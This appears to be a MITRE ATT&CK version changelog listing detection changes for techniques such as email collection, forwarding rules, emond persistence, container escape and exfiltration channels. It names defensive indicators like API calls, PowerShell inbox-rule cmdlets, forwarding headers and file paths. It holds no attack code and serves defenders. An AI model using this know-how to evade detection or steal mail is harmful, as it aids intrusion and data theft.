x_mitre_detection	Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as `CreateRemoteThread` and those that can be used to modify memory within another process, such as `VirtualAllocEx`/`WriteProcessMemory`, may be used for this technique.(Citation: Elastic Process Injection July 2017) Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.

[T1548.004] Abuse Elevation Control Mechanism: Elevated Execution with Prompt

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)

New Detections (Detection Strategies -> Technique):

DET0395: macOS AuthorizationExecuteWithPrivileges Elevation Prompt Detection

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Process: OS API Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:37:19.503000+00:00	2025-10-24 17:49:16.860000+00:00
x_mitre_detection	Consider monitoring for `/usr/libexec/security_authtrampoline` executions which may indicate that `AuthorizationExecuteWithPrivileges` is being executed. MacOS system logs may also indicate when `AuthorizationExecuteWithPrivileges` is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.

[T1087.003] Account Discovery: Email Account

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0229: Enumeration of Global Address Lists via Email Account Discovery

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:25:10.775000+00:00	2025-10-24 17:48:44.685000+00:00
x_mitre_detection	System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

[T1585.002] Establish Accounts: Email Accounts

Current version: 1.1

New Detections (Detection Strategies -> Technique):

DET0835: Detection of Email Accounts

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:25:33.493000+00:00	2025-10-24 17:48:52.378000+00:00
x_mitre_detection	Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).

[T1586.002] Compromise Accounts: Email Accounts

Current version: 1.1

New Detections (Detection Strategies -> Technique):

DET0861: Detection of Email Accounts

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:26:01.830000+00:00	2025-10-24 17:48:41.309000+00:00
x_mitre_detection	Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).

[T1114] Email Collection

Current version: 2.6

Dropped Detections (Data Components -> Technique):

DS0015: Application Log (Application Log Content)
DS0017: Command (Command Execution)
DS0022: File (File Access)
DS0028: Logon Session (Logon Session Creation)
DS0029: Network Traffic (Network Connection Creation)

New Detections (Detection Strategies -> Technique):

DET0476: Email Collection via Local Email Access and Auto-Forwarding Behavior

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Logon Session: Logon Session Creation', 'Application Log: Application Log Content', 'Network Traffic: Network Connection Creation', 'File: File Access', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:26:37.477000+00:00	2025-10-24 17:48:26.463000+00:00
x_mitre_detection	There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection. File access of local system email files for Exfiltration, unusual processes connecting to an email server within a network, or unusual access patterns or authentication attempts on a public-facing webmail server may all be indicators of malicious activity. Monitor processes and command-line arguments for actions that could be taken to gather local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account. Auto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include `X-MS-Exchange-Organization-AutoForwarded` set to true, `X-MailFwdBy` and `X-Forwarded-To`. The `forwardingSMTPAddress` parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the `X-MS-Exchange-Organization-AutoForwarded` header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.

[T1114.003] Email Collection: Email Forwarding Rule

Current version: 1.4

Dropped Detections (Data Components -> Technique):

DS0015: Application Log (Application Log Content)
DS0017: Command (Command Execution)
DS0025: Cloud Service (Cloud Service Metadata)

New Detections (Detection Strategies -> Technique):

DET0576: Email Forwarding Rule Abuse Detection Across Platforms

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Application Log: Application Log Content', 'Cloud Service: Cloud Service Metadata']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:26:55.201000+00:00	2025-10-24 17:49:00.920000+00:00
x_mitre_detection	Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account. This is especially true in cases with hidden auto-forwarding rules. This makes it only possible to reliably detect the existence of a hidden auto-forwarding rule by examining message tracking logs or by using a MAPI editor to notice the modified rule property values.(Citation: Pfammatter - Hidden Inbox Rules) Auto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include `X-MS-Exchange-Organization-AutoForwarded` set to true, `X-MailFwdBy` and `X-Forwarded-To`. The `forwardingSMTPAddress` parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the `X-MS-Exchange-Organization-AutoForwarded` header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.

[T1564.008] Hide Artifacts: Email Hiding Rules

Current version: 1.4

Dropped Detections (Data Components -> Technique):

DS0015: Application Log (Application Log Content)
DS0017: Command (Command Execution)
DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0192: Detection Strategy for Email Hiding Rules

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Application Log: Application Log Content', 'File: File Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:27:09.849000+00:00	2025-10-24 17:48:23.364000+00:00
x_mitre_detection	Monitor email clients and applications for suspicious activity, such as missing messages or abnormal configuration and/or log entries. On Windows systems, monitor for creation of suspicious inbox rules through the use of the `New-InboxRule` and `Set-InboxRule` PowerShell cmdlets.(Citation: Microsoft BEC Campaign) On MacOS systems, monitor for modifications to the `RulesActiveState.plist`, `SyncedRules.plist`, `UnsyncedRules.plist`, and `MessageRules.plist` files.(Citation: MacOS Email Rules)

[T1546.014] Event Triggered Execution: Emond

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Creation)
DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0555: Detection Strategy for Event Triggered Execution via emond on macOS

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Creation', 'Command: Command Execution', 'Process: Process Creation', 'File: File Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:37:18.374000+00:00	2025-10-24 17:49:08.766000+00:00
x_mitre_detection	Monitor emond rules creation by checking for files created or modified in `/etc/emond.d/rules/` and `/private/var/db/emondClients`.

[T1589.003] Gather Victim Identity Information: Employee Names

Current version: 1.0

New Detections (Detection Strategies -> Technique):

DET0857: Detection of Employee Names

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:27:33.795000+00:00	2025-10-24 17:48:57.975000+00:00
x_mitre_detection	Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1573] Encrypted Channel

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Traffic Content)

New Detections (Detection Strategies -> Technique):

DET0273: Detection Strategy for Encrypted Channel across OS Platforms

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:01.172000+00:00	2025-10-24 17:49:17.042000+00:00
x_mitre_detection	SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels.(Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation.(Citation: SEI SSL Inspection Risks) In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)

[T1499] Endpoint Denial of Service

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0013: Sensor Health (Host Status)
DS0015: Application Log (Application Log Content)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0208: Endpoint Resource Saturation and Crash Pattern Detection Across Platforms

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Application Log: Application Log Content', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Sensor Health: Host Status']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:28:03.155000+00:00	2025-10-24 17:49:22.088000+00:00
x_mitre_detection	Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts. In addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt. Externally monitor the availability of services that may be targeted by an Endpoint DoS.

[T1480.001] Execution Guardrails: Environmental Keying

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0474: Environmental Keying Discovery-to-Decryption Behavioral Chain Detection Strategy

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:20.646000+00:00	2025-10-24 17:49:35.768000+00:00
x_mitre_detection	Detecting the use of environmental keying may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection.

[T1611] Escape to Host

Current version: 1.6

Dropped Detections (Data Components -> Technique):

DS0008: Kernel (Kernel Module Load)
DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)
DS0032: Container (Container Creation)
DS0034: Volume (Volume Modification)

New Detections (Detection Strategies -> Technique):

DET0219: Detection Strategy for Escape to Host

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Kernel: Kernel Module Load', 'Container: Container Creation', 'Volume: Volume Modification', 'Process: OS API Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:28.417000+00:00	2025-10-24 17:48:44.317000+00:00
x_mitre_detection	Monitor for the deployment of suspicious or unknown container images and pods in your environment, particularly containers running as root. Additionally, monitor for unexpected usage of syscalls such as `mount` (as well as resulting process activity) that may indicate an attempt to escape from a privileged container to host. In Kubernetes, monitor for cluster-level events associated with changing containers' volume configurations.

[T1585] Establish Accounts

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0021: Persona (Social Media)
DS0029: Network Traffic (Network Traffic Content)

New Detections (Detection Strategies -> Technique):

DET0873: Detection of Establish Accounts

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Content', 'Persona: Social Media']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:28:26.144000+00:00	2025-10-24 17:49:24.456000+00:00
x_mitre_detection	Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).

[T1546] Event Triggered Execution

Current version: 1.4

Dropped Detections (Data Components -> Technique):

DS0005: WMI (WMI Creation)
DS0009: Process (Process Creation)
DS0011: Module (Module Load)
DS0017: Command (Command Execution)
DS0022: File (File Creation)
DS0022: File (File Metadata)
DS0022: File (File Modification)
DS0024: Windows Registry (Windows Registry Key Modification)
DS0025: Cloud Service (Cloud Service Modification)

New Detections (Detection Strategies -> Technique):

DET0010: Behavioral Detection of Event Triggered Execution Across Platforms

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Module: Module Load', 'WMI: WMI Creation', 'File: File Metadata', 'File: File Creation', 'File: File Modification', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'Cloud Service: Cloud Service Modification', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:28:46.740000+00:00	2025-10-24 17:49:15.866000+00:00
x_mitre_detection	Monitoring for additions or modifications of mechanisms that could be used to trigger event-based execution, especially the addition of abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network. Also look for changes that do not line up with updates, patches, or other planned administrative activity. These mechanisms may vary by OS, but are typically stored in central repositories that store configuration information such as the Windows Registry, Common Information Model (CIM), and/or specific named files, the last of which can be hashed and compared to known good values. Monitor for processes, API/System calls, and other common ways of manipulating these event repositories. Tools such as Sysinternals Autoruns can be used to detect changes to execution triggers that could be attempts at persistence. Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques. Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.

[T1574.005] Hijack Execution Flow: Executable Installer File Permissions Weakness

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0011: Module (Module Load)
DS0019: Service (Service Metadata)
DS0022: File (File Creation)
DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0038: Detection Strategy for Hijack Execution Flow using Executable Installer File Permissions Weakness

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Service: Service Metadata', 'File: File Modification', 'File: File Creation', 'Process: Process Creation', 'Module: Module Load']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:41.123000+00:00	2025-10-24 17:48:56.875000+00:00
x_mitre_detection	Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data. Look for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.

[T1480] Execution Guardrails

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0562: Multi-Platform Execution Guardrails Environmental Validation Detection Strategy

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:48.316000+00:00	2025-10-24 17:49:03.764000+00:00
x_mitre_detection	Detecting the use of guardrails may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection.

[T1048] Exfiltration Over Alternative Protocol

Current version: 1.6

Dropped Detections (Data Components -> Technique):

DS0010: Cloud Storage (Cloud Storage Access)
DS0015: Application Log (Application Log Content)
DS0017: Command (Command Execution)
DS0022: File (File Access)
DS0029: Network Traffic (Network Connection Creation)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0131: Behavioral Detection Strategy for Exfiltration Over Alternative Protocol

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Cloud Storage: Cloud Storage Access', 'Network Traffic: Network Traffic Flow', 'Command: Command Execution', 'Network Traffic: Network Traffic Content', 'Application Log: Application Log Content', 'File: File Access', 'Network Traffic: Network Connection Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:54.894000+00:00	2025-10-24 17:49:10.460000+00:00
x_mitre_detection	Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)

[T1048.002] Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0017: Command (Command Execution)
DS0022: File (File Access)
DS0029: Network Traffic (Network Connection Creation)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0512: Detection of Exfiltration Over Asymmetric Encrypted Non-C2 Protocol

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Flow', 'Command: Command Execution', 'File: File Access', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:50.294000+00:00	2025-10-24 17:49:05.552000+00:00
x_mitre_detection	Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2)

[T1011.001] Exfiltration Over Other Network Medium: Exfiltration Over Bluetooth

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0017: Command (Command Execution)
DS0022: File (File Access)
DS0029: Network Traffic (Network Connection Creation)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0554: Detection of Bluetooth-Based Data Exfiltration

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Flow', 'Command: Command Execution', 'File: File Access', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:35.466000+00:00	2025-10-24 17:48:51.095000+00:00
x_mitre_detection	Monitor for processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a web browser opening with a mouse click or key press) but access the network without such may be malicious. Monitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces.

[T1041] Exfiltration Over C2 Channel

Current version: 2.3

Dropped Detections (Data Components -> Technique):

DS0017: Command (Command Execution)
DS0022: File (File Access)
DS0029: Network Traffic (Network Connection Creation)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0348: Detection Strategy for Exfiltration Over C2 Channel

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'File: File Access', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:51.597000+00:00	2025-10-24 17:49:06.675000+00:00
x_mitre_detection	Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)

[T1011] Exfiltration Over Other Network Medium

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0017: Command (Command Execution)
DS0022: File (File Access)
DS0029: Network Traffic (Network Connection Creation)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0077: Detection of Exfiltration Over Alternate Network Interfaces

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'File: File Access', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:29:20.961000+00:00	2025-10-24 17:48:47.042000+00:00
x_mitre_detection	Monitor for processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a web browser opening with a mouse click or key press) but access the network without such may be malicious. Monitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces.

[T1052] Exfiltration Over Physical Medium

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0016: Drive (Drive Creation)
DS0017: Command (Command Execution)
DS0022: File (File Access)

New Detections (Detection Strategies -> Technique):

DET0123: Detection of Data Exfiltration via Removable Media

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Access', 'Drive: Drive Creation', 'Process: Process Creation', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:17.041000+00:00	2025-10-24 17:49:32.547000+00:00
x_mitre_detection	Monitor file access on removable media. Detect processes that execute when removable media are mounted.

[T1048.001] Exfiltration Over Alternative Protocol: Exfiltration Over Symmetric Encrypted Non-C2 Protocol

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0017: Command (Command Execution)
DS0022: File (File Access)
DS0029: Network Traffic (Network Connection Creation)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0503: Behavioral Detection Strategy for Exfiltration Over Symmetric Encrypted Non-C2 Protocol

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Command: Command Execution', 'File: File Access', 'Network Traffic: Network Connection Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:43.571000+00:00	2025-10-24 17:48:59.332000+00:00
x_mitre_detection	Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2) Artifacts and evidence of symmetric key exchange may be recoverable by analyzing network traffic or looking for hard-coded values within malware. If recovered, these keys can be used to decrypt network data from command and control channels.

[T1048.003] Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol

Current version: 2.2

Dropped Detections (Data Components -> Technique):

DS0017: Command (Command Execution)
DS0022: File (File Access)
DS0029: Network Traffic (Network Connection Creation)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0149: Detection of Exfiltration Over Unencrypted Non-C2 Protocol

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Flow', 'File: File Access', 'Network Traffic: Network Traffic Content', 'Command: Command Execution', 'Network Traffic: Network Connection Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:24.041000+00:00	2025-10-24 17:49:39.079000+00:00
x_mitre_detection	Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) For network infrastructure devices, collect AAA logging to monitor for `copy` commands being run to exfiltrate configuration files to non-standard destinations over unencrypted protocols such as TFTP.

[T1567] Exfiltration Over Web Service

Current version: 1.5

Dropped Detections (Data Components -> Technique):

DS0015: Application Log (Application Log Content)
DS0017: Command (Command Execution)
DS0022: File (File Access)
DS0029: Network Traffic (Network Connection Creation)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0548: Detection Strategy for Exfiltration Over Web Service

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation', 'Command: Command Execution', 'Network Traffic: Network Traffic Flow', 'File: File Access', 'Application Log: Application Log Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:25.560000+00:00	2025-10-24 17:48:42.061000+00:00
x_mitre_detection	Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity.

[T1052.001] Exfiltration Over Physical Medium: Exfiltration over USB

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0016: Drive (Drive Creation)
DS0017: Command (Command Execution)
DS0022: File (File Access)

New Detections (Detection Strategies -> Technique):

DET0220: Detection of USB-Based Data Exfiltration

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Drive: Drive Creation', 'File: File Access', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:55.347000+00:00	2025-10-24 17:49:10.994000+00:00
x_mitre_detection	Monitor file access on removable media. Detect processes that execute when removable media are mounted.

[T1567.002] Exfiltration Over Web Service: Exfiltration to Cloud Storage

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0017: Command (Command Execution)
DS0022: File (File Access)
DS0029: Network Traffic (Network Connection Creation)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0570: Detection Strategy for Exfiltration to Cloud Storage

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'File: File Access', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:03.751000+00:00	2025-10-24 17:49:19.048000+00:00
x_mitre_detection	Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server) to known cloud storage services. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity.

[T1567.001] Exfiltration Over Web Service: Exfiltration to Code Repository

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0017: Command (Command Execution)
DS0022: File (File Access)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0318: Detection Strategy for Exfiltration to Code Repository

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'File: File Access']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:48.876000+00:00	2025-10-24 17:49:04.207000+00:00
x_mitre_detection	Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server) to code repositories. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity.

[T1203] Exploitation for Client Execution

Current version: 1.5

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0015: Application Log (Application Log Content)
DS0022: File (File Modification)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0287: Exploitation for Client Execution – cross-platform behavior chain (browser/Office/3rd-party apps)

Details

dictionary_item_added
STIX Field	Old value	New Value
x_mitre_remote_support		False

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'File: File Modification', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Flow']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:03.090000+00:00	2025-10-24 17:49:18.695000+00:00
